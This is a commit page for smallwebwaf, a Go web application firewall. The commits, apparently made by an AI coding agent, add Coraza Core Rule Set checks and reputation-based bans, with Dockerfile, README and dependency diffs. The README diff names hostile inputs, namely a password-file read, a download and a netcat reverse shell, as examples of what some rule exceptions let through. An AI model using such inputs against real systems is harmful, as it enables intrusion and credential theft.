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Author SHA1 Message Date
clawbot 6fcbda6ece Core Rule Set reads request bodies up to SWWAF_WAF_BODY_LIMIT (closes #116)
check / check (push) Waiting to run
SWWAF_WAF_BODY_LIMIT (default off, at most 1G) has the Core Rule Set read
form data and multipart up to the limit, the rest streaming on, and JSON
and XML no larger than it, with text/json and the application and text
types ending in +json or +xml. The part read is held for the app. A size
or time limit met while reading ends the request. Content-Encoding is
refused again on these kinds. A body Coraza cannot parse, or a multipart
body failing its strict checks, adds 5, as does a multipart body the limit
cuts in a part's headers before a colon or a line feed. Coraza is built
with no_fs_access, so writes no file. Rule 900300 moves to phase 2.

Judgement call: Content-Encoding is refused on a JSON or XML body too
large to read, as SPEC.md allows.

Model: opus-5-5
2026-10-08 12:59:13 +02:00
clawbot 80f4c2cc61 The Core Rule Set, run by Coraza, on each request's method, URL and headers (closes #25)
check / check (push) Waiting to run
Coraza v3.8.1 runs the Core Rule Set 4.25.0 (coraza-coreruleset v4.25.0)
after the rule files, with the six changes and the default
SWWAF_WAF_DISABLED_RULES that SPEC.md gives; no body, no response. The
parameter names in the third and fourth changes are matched in any case,
as Coraza does. SWWAF_WAF_DISABLED_RULES refuses 900000 to 900999,
smallwebwaf's own rules. A request with more than 1000 query parameters
adds 5 (rule 900300). In block mode a match is refused with 403, an
offence counted toward the error burst; in detect mode it is let
through. Both log waf_rule_ids, waf_score and duration_waf, raise
waf_block, and count smallwebwaf_waf_matches_total.

Judgement call: waf_block is raised in block mode too.
Deviation: no engine-error path; with no body read, Coraza cannot fail.

Model: opus-5-5
2026-10-08 09:37:13 +02:00
clawbot e81a7f0ca2 Tests that need a lookup answer give it an hour (closes #119)
check / check (push) Waiting to run
Twelve tests in internal/proxy needed the GeoJS stand-in to be asked or
to answer within the default SWWAF_LOOKUP_TIMEOUT of one second on the
real clock. A hold-up of the test process past it abandoned the request
to the stand-in, or left the client unknown. Each now sets
SWWAF_LOOKUP_TIMEOUT to an hour, and the comment on startGeoJS asks the
same of later tests.

Judgement call: set in each test, not as a default in newProxy, where it
would change two tests that rely on the default second.

Model: opus-5-5
2026-10-08 08:14:45 +02:00
clawbot 54779f08de Trap paths, and the error burst banning a client refused too often (closes #115)
check / check (push) Waiting to run
SWWAF_TRAP_PATHS: a request whose path, as a path rule sees it, is one
of them is a clear sign of attack, banned as a ban rule's match is; the
ban's notes give its trap_path. Checked after the rate limits, before the
rule files.

SWWAF_ERROR_BURST_THRESHOLD (default 30, or off): more refusals in a
minute after a block or ban rule or a trap path, or for a missing or
wrong token, ban the client as a broken limit does. Counted in
clients.json's minute_refusals; limit_hit error_burst, notes kind
refusals.

A token refusal is now the offence token_refused, and
smallwebwaf_offences_total counts every kind the history does.

Judgement call: the threshold is not lowered by a client's limit percentage.

Model: opus-5-5
2026-10-08 06:44:55 +02:00
clawbot 5f3fb48809 CrowdSec decision list fetched, kept, and its clients banned until the decision ends (closes #106)
check / check (push) Waiting to run
SWWAF_CROWDSEC_LAPI_URL and SWWAF_CROWDSEC_LAPI_KEY name an engine whose
decision list, <url>/v1/decisions, is fetched every minute with the key in
X-Api-Key, following no redirect, and kept as a blocklist is: used while a
fetch fails, and across restarts through reputation.json. Ban decisions on an
Ip or a Range end at the fetch time plus their duration. A listed client's
request is refused and bans its netblock with the cause crowdsec until the
decision ends; bans.json, ban notes and metrics take the cause.

Judgement call: fetched every minute, not a setting.
Judgement call: a crowdsec ban never lengthens a limit ban.
Judgement call: a lifted crowdsec ban is remade while its decision lasts.

Model: opus-5-5
2026-10-08 05:15:06 +02:00
clawbot 04e66d2069 Ban notes name the reputation sources that listed the client (closes #109)
check / check (push) Waiting to run
A ban's notes, in bans.json and in its alert, gain `reputation`: each
blocklist, DNSBL zone or AbuseIPDB that listed the client when the ban
was made, as its `source`, named and ordered as in the request log's
`reputation`, with AbuseIPDB's `score`. It is left out when none did.
README.md shows it in a bans.json example.

Notes now hold a list, so bans can no longer be compared with ==: the
tests compare them with reflect.DeepEqual.

Judgement call: the score is a pointer, so a score of 0, a hit while
SWWAF_ABUSEIPDB_MIN_SCORE is 0, is still written.

Model: opus-5-5
2026-10-08 03:08:01 +02:00
clawbot a6634454cd Read SWWAF_IPV6_GROUP_PREFIX, SWWAF_MAX_TRACKED_CLIENTS and SWWAF_LOG_LEVEL (closes #112)
check / check (push) Waiting to run
The IPv6 group that is one client, the size of the table of clients and
the level of the process's own lines become settings. clientGroup reads
the group length from them, so limits, bans, history, lookups, AbuseIPDB
scores and per-client anomaly counters all follow it; ratelimit.New
takes the table size; the process logger takes the level once the
settings are read, and request lines, written apart from it, are never
held back.

Judgement call: SWWAF_IPV6_GROUP_PREFIX accepts 32 to 128, the issue's example range.

Model: opus-5-5
2026-10-08 02:14:12 +02:00
clawbot ca787985f8 AbuseIPDB scores for clients that committed an offence, within a daily budget (closes #105)
check / check (push) Waiting to run
With SWWAF_ABUSEIPDB_KEY set, a client whose history counts an offence
(a broken limit, a ban rule's match or a block rule's refusal, counted
by kind) is checked in the background, at most
SWWAF_ABUSEIPDB_DAILY_BUDGET checks a day, the count kept in
reputation.json. A client, an IPv4 address or an IPv6 /64, is checked by
the address it sent from, and its score serves all its addresses. A
score at or over SWWAF_ABUSEIPDB_MIN_SCORE is a hit for
SWWAF_REPUTATION_ACTION, logged as abuseipdb and alerted with its score.
A failure or the used-up budget gives no score and raises
source_failure. The key goes only in the Key header.

Judgement call: the budget's day is UTC; AbuseIPDB documents no reset time.
Judgement call: each check sent spends budget; a minute's pause after a failure.

Model: opus-5-5
2026-10-07 22:47:06 +02:00
clawbot 0b0f207423 DNS blocklists asked in the background, verdicts kept (closes #104)
check / check (push) Waiting to run
Zones in SWWAF_DNSBL_ZONES are asked about each client in the background,
through SWWAF_DNSBL_RESOLVER or the host's resolver; no request waits.
Verdicts last SWWAF_REPUTATION_CACHE_TTL, kept in reputation.json.
SWWAF_REPUTATION_ACTION (limit:25) denies, limits or logs a listed
client; each zone listing it raises reputation_hit. A failed query gives
no verdict, raises source_failure, and pauses the zone a minute. A
zone's key, its first label under dq.spamhaus.net, is masked everywhere
but reputation.json. Zones compare without regard to case.

Judgement call: answers in 127.255.255.0/24 or outside 127.0.0.0/8 are failures.
Judgement call: the minute's pause after a failure; at most 1,000 queries at once.
Judgement call: one zone given with two keys stops the start as listed twice.
Rule suppressed: paralleltest on the DNSBL tests (Go's resolver shares state across synctest bubbles), funlen on the test of every logged setting.

Model: opus-5-5
2026-10-07 21:09:51 +02:00
67 changed files with 7950 additions and 863 deletions
+9 -5
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@@ -36,11 +36,12 @@ RUN go mod tidy -diff || \
{ echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; } { echo "go.mod or go.sum is not tidy: run make tidy" >&2; exit 1; }
# Go's build cache is kept on a tmpfs, out of the image: nothing uses it # Go's build cache is kept on a tmpfs, out of the image: nothing uses it
# after this step, and writing it into the image takes seconds. # after this step, and writing it into the image takes seconds. The tests
# are built with the no_fs_access tag, as the binary is in the build stage.
RUN --mount=type=tmpfs,target=/root/.cache/go-build \ RUN --mount=type=tmpfs,target=/root/.cache/go-build \
go test -timeout 90s -race -cover ./... || \ go test -tags no_fs_access -timeout 90s -race -cover ./... || \
{ echo "--- Rerunning with -v for details ---"; \ { echo "--- Rerunning with -v for details ---"; \
go test -timeout 90s -race -v ./...; exit 1; } go test -tags no_fs_access -timeout 90s -race -v ./...; exit 1; }
# Tidy stage: `go mod tidy` in the test phase's Go, so that the files it # Tidy stage: `go mod tidy` in the test phase's Go, so that the files it
# writes pass the test phase's check. Nothing else depends on it, so only # writes pass the test phase's check. Nothing else depends on it, so only
@@ -84,7 +85,10 @@ COPY . .
# The VERSION build arg when one is given, otherwise # The VERSION build arg when one is given, otherwise
# `git describe --tags --always` on the .git in the build context. With # `git describe --tags --always` on the .git in the build context. With
# .git present, a version that is still empty, dev or unknown fails the # .git present, a version that is still empty, dev or unknown fails the
# build: git is missing or could not read the checkout. # build: git is missing or could not read the checkout. The no_fs_access
# tag keeps Coraza from writing the files of a multipart body to the
# system's temporary directory, since smallwebwaf writes only to its state
# directory.
ARG VERSION ARG VERSION
RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
if [ -e .git ]; then \ if [ -e .git ]; then \
@@ -93,7 +97,7 @@ RUN VERSION="${VERSION:-$(git describe --tags --always)}"; \
exit 1 ;; \ exit 1 ;; \
esac; \ esac; \
fi; \ fi; \
CGO_ENABLED=0 go build -trimpath \ CGO_ENABLED=0 go build -tags no_fs_access -trimpath \
-ldflags="-s -w -X main.Version=${VERSION}" \ -ldflags="-s -w -X main.Version=${VERSION}" \
-o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf -o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf
+811 -326
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File diff suppressed because it is too large Load Diff
+6 -4
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@@ -618,10 +618,12 @@ The settings, by group:
`|cat /etc/passwd`, `wget http://…` and `nc -e /bin/sh …`, and `|cat /etc/passwd`, `wget http://…` and `nc -e /bin/sh …`, and
`file:///etc/passwd`, pass as well. Path traversal (`../`), SQL and `file:///etc/passwd`, pass as well. Path traversal (`../`), SQL and
script injection and PHP, Java and Node.js code are still refused script injection and PHP, Java and Node.js code are still refused
there, and every other parameter keeps all three rules. An app that there, and every other parameter keeps all three rules. These names,
uses one of these parameters as a file on the server, or passes it to and `redirect_uri` in the change before, are matched without regard to
a shell, gets no help from the three rules there (see "Risks the case, as Coraza matches them, so `Path` or `PATH` is treated as
design has to handle"). `path`. An app that uses one of these parameters as a file on the
server, or passes it to a shell, gets no help from the three rules
there (see "Risks the design has to handle").
- The Core Rule Set reads the request without the `gitea_flash` and - The Core Rule Set reads the request without the `gitea_flash` and
`redirect_to` cookies, and does not check `Referer` for a Unix command `redirect_to` cookies, and does not check `Referer` for a Unix command
given without arguments (932340) or for Java starting a process given without arguments (932340) or for Java starting a process
+19
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@@ -3,6 +3,8 @@ module sneak.berlin/go/smallwebwaf
go 1.26.0 go 1.26.0
require ( require (
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
github.com/corazawaf/coraza/v3 v3.8.1
github.com/fsnotify/fsnotify v1.10.1 github.com/fsnotify/fsnotify v1.10.1
github.com/hashicorp/golang-lru/v2 v2.0.7 github.com/hashicorp/golang-lru/v2 v2.0.7
github.com/maxmind/mmdbwriter v1.2.0 github.com/maxmind/mmdbwriter v1.2.0
@@ -13,12 +15,29 @@ require (
require ( require (
github.com/beorn7/perks v1.0.1 // indirect github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/corazawaf/libinjection-go v0.3.3 // indirect
github.com/goccy/go-json v0.10.5 // indirect
github.com/goccy/go-yaml v1.19.2 // indirect
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 // indirect
github.com/kaptinlin/go-i18n v0.1.4 // indirect
github.com/kaptinlin/jsonschema v0.4.6 // indirect
github.com/kylelemons/godebug v1.1.0 // indirect github.com/kylelemons/godebug v1.1.0 // indirect
github.com/magefile/mage v1.17.0 // indirect
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
github.com/prometheus/client_model v0.6.2 // indirect github.com/prometheus/client_model v0.6.2 // indirect
github.com/prometheus/common v0.70.1 // indirect github.com/prometheus/common v0.70.1 // indirect
github.com/prometheus/procfs v0.21.1 // indirect github.com/prometheus/procfs v0.21.1 // indirect
github.com/tidwall/gjson v1.18.0 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.1 // indirect
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/net v0.58.0 // indirect
golang.org/x/sync v0.23.0 // indirect
golang.org/x/sys v0.48.0 // indirect golang.org/x/sys v0.48.0 // indirect
golang.org/x/text v0.41.0 // indirect
google.golang.org/protobuf v1.36.11 // indirect google.golang.org/protobuf v1.36.11 // indirect
rsc.io/binaryregexp v0.2.0 // indirect
) )
+55
View File
@@ -2,22 +2,54 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho= github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo= github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 h1:b70jEaX2iaJSPZULSUxKtm73LBfsCrMsIlYCUgNGSIs=
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976/go.mod h1:ZGQeOwybjD8lkCjIyJfqR5LD2wMVHJ31d6GdPxoTsWY=
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 h1:c7gcNWTSr1gtLp6PyYi3wzvFCEcHJ4YRobDgqmIgf7Q=
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092/go.mod h1:ZZAN4fkkful3l1lpJwF8JbW41ZiG9TwJ2ZlqzQovBNU=
github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
github.com/jcchavezs/mergefs v0.1.1 h1:D45R17m6dHnSVZefnhynoeZvcK2Uw0oTrRfoUOQ0S5Y=
github.com/jcchavezs/mergefs v0.1.1/go.mod h1:eRLTrsA+vFwQZ48hj8p8gki/5v9C2bFtHH5Mnn4bcGk=
github.com/kaptinlin/go-i18n v0.1.4 h1:wCiwAn1LOcvymvWIVAM4m5dUAMiHunTdEubLDk4hTGs=
github.com/kaptinlin/go-i18n v0.1.4/go.mod h1:g1fn1GvTgT4CiLE8/fFE1hboHWJ6erivrDpiDtCcFKg=
github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPsI1T64=
github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk= github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ= github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
github.com/magefile/mage v1.17.0/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA=
github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM= github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM=
github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE= github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE=
github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U= github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U=
github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g= github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g=
github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 h1:Vpr4VgAizEgEZsaMohpw6JYDP+i9Of9dmdY4ufNP6HI=
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745/go.mod h1:EHPiTAKtiFmrMldLUNswFwfZ2eJIYBHktdaUTZxYWRw=
github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU= github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU=
github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE= github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE=
github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk= github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
@@ -28,6 +60,15 @@ github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+
github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY= github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE= github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg= github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto= go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE= go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ= go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
@@ -36,7 +77,21 @@ go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg= go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M= go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y= go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo= golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og= golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
